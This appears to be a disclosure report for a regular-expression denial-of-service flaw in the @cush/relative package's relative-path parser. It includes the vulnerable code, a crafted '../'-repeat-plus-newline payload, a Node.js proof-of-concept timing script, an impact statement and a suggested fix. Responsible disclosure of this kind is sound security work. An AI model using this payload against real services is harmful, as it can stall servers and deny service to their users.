Potential ReDoS in relative path parsing via `cousinRE`

[WiiiiillYeng]

Hi, I found a potential Regular Expression Denial of Service issue in the relative path parsing logic and wanted to report it with a minimal reproducible case.

Summary

The regex used for cousin/uncle-style relative references can exhibit polynomial backtracking on crafted input:

const cousinRE = /^((?:\.\.\/)+)(.+)?$/;

This regex is reached through the public API:

relative(file, ref)

when ref.length !== 1 and ref[1] !== "/".

Affected Code Path

In lib/relative.js, relative(file, ref) forwards some inputs to relativeRegex(file, ref):

function relative(file, ref) {
    return ref.length == 1
        ? dirname(file, 1)
        : ref[1] == '/'
            ? join(dirname(file, 1), ref.slice(2))
            : relativeRegex(file, ref);
}

Then relativeRegex executes cousinRE synchronously:

function relativeRegex(file, ref) {
    let id = parentRE.exec(ref);
    if (id) {
        return dirname(file, 1 + (id[1].length + 1) / 3);
    }
    id = cousinRE.exec(ref);
    if (id) {
        const dir = dirname(file, 1 + id[1].length / 3);
        return dir == null ? null : join(dir, id[2]);
    }
    return null;
}

Trigger Condition

The issue can be triggered when an attacker can control the second argument, ref, passed to relative(file, ref).

A crafted string with many ../ segments followed by a newline causes the regex engine to spend increasing time trying different ways to partition the repeated ../ prefix and the optional (.+)? suffix before the match fails:

"../".repeat(n) + "\n"

This is a long sequence of ../ segments followed by a newline.

Proof of Concept

The following PoC uses the package normally through require("@cush/relative"):

"use strict";

const assert = require("assert");
const { performance } = require("perf_hooks");
const { relative } = require("@cush/relative");

const args = new Set(process.argv.slice(2));
const normalOnly = args.has("--normal-only");
const redosOnly = args.has("--redos-only");

function optionValue(name, fallback) {
  const prefix = `${name}=`;
  const raw = process.argv.slice(2).find((arg) => arg.startsWith(prefix));
  if (!raw) {
    return fallback;
  }
  const value = Number(raw.slice(prefix.length));
  return Number.isFinite(value) && value > 0 ? Math.floor(value) : fallback;
}

function timeCall(fn) {
  const start = performance.now();
  const result = fn();
  return {
    result,
    ms: performance.now() - start,
  };
}

function makeAttack(repeat) {
  return "../".repeat(repeat) + "\n";
}

function runNormalCases() {
  const cases = [
    ["a/b", "./c", "a/c"],
    ["a/b", ".", "a"],
    ["a/b", "..", ""],
    ["a/b/c", "../d", "a/d"],
    ["a/b/c", "../../d", "d"],
    ["a/b", "../..", null],
    ["a/b", "not-relative", null],
  ];

  console.log("Normal behavior");
  for (const [file, ref, expected] of cases) {
    const actual = relative(file, ref);
    assert.strictEqual(actual, expected);
    console.log(`  OK relative(${JSON.stringify(file)}, ${JSON.stringify(ref)}) => ${JSON.stringify(actual)}`);
  }
}

function runRedosCases() {
  const maxRepeat = optionValue("--max-repeat", 16000);
  const baseRepeats = [1000, 2000, 4000, 8000, 16000, 32000];
  const repeats = baseRepeats.filter((n) => n <= maxRepeat);

  if (!repeats.length) {
    repeats.push(maxRepeat);
  }

  console.log("\nReDoS timing");
  console.log("  payload: '../'.repeat(n) + '\\n'");
  console.log("  expected return value: null");
  console.log("  n,string_length,time_ms,result");

  let previous = null;
  for (const n of repeats) {
    const attack = makeAttack(n);
    const { result, ms } = timeCall(() => relative("a/b/c", attack));
    assert.strictEqual(result, null);

    const ratio = previous ? `, ratio_vs_previous=${(ms / previous).toFixed(2)}x` : "";
    console.log(`  ${n},${attack.length},${ms.toFixed(2)},${JSON.stringify(result)}${ratio}`);
    previous = ms;
  }

  console.log("\nInterpretation");
  console.log("  If doubling n causes roughly 4x runtime growth, the vulnerable regex is showing polynomial backtracking.");
}

console.log(`Package path: ${require.resolve("@cush/relative")}`);

if (!redosOnly) {
  runNormalCases();
}

if (!normalOnly) {
  runRedosCases();
}

Observed output screenshot:

The exact timings vary by machine, but the important part is that when the input size roughly doubles, the synchronous execution time grows by about 4x, which indicates polynomial backtracking behavior, leading to ReDoS.

Impact

If an application passes user-controlled input into relative(file, ref), a crafted ref value can block the Node.js event loop during synchronous regex execution. In a server-side application, this may cause delayed responses or denial of service for other requests handled by the same process.

Suggested Fix

One possible mitigation is to avoid the ambiguous optional suffix after a repeated prefix, or to parse the prefix iteratively without regex backtracking. For example, the implementation could count leading "../" segments in a simple loop and then handle the remaining suffix directly.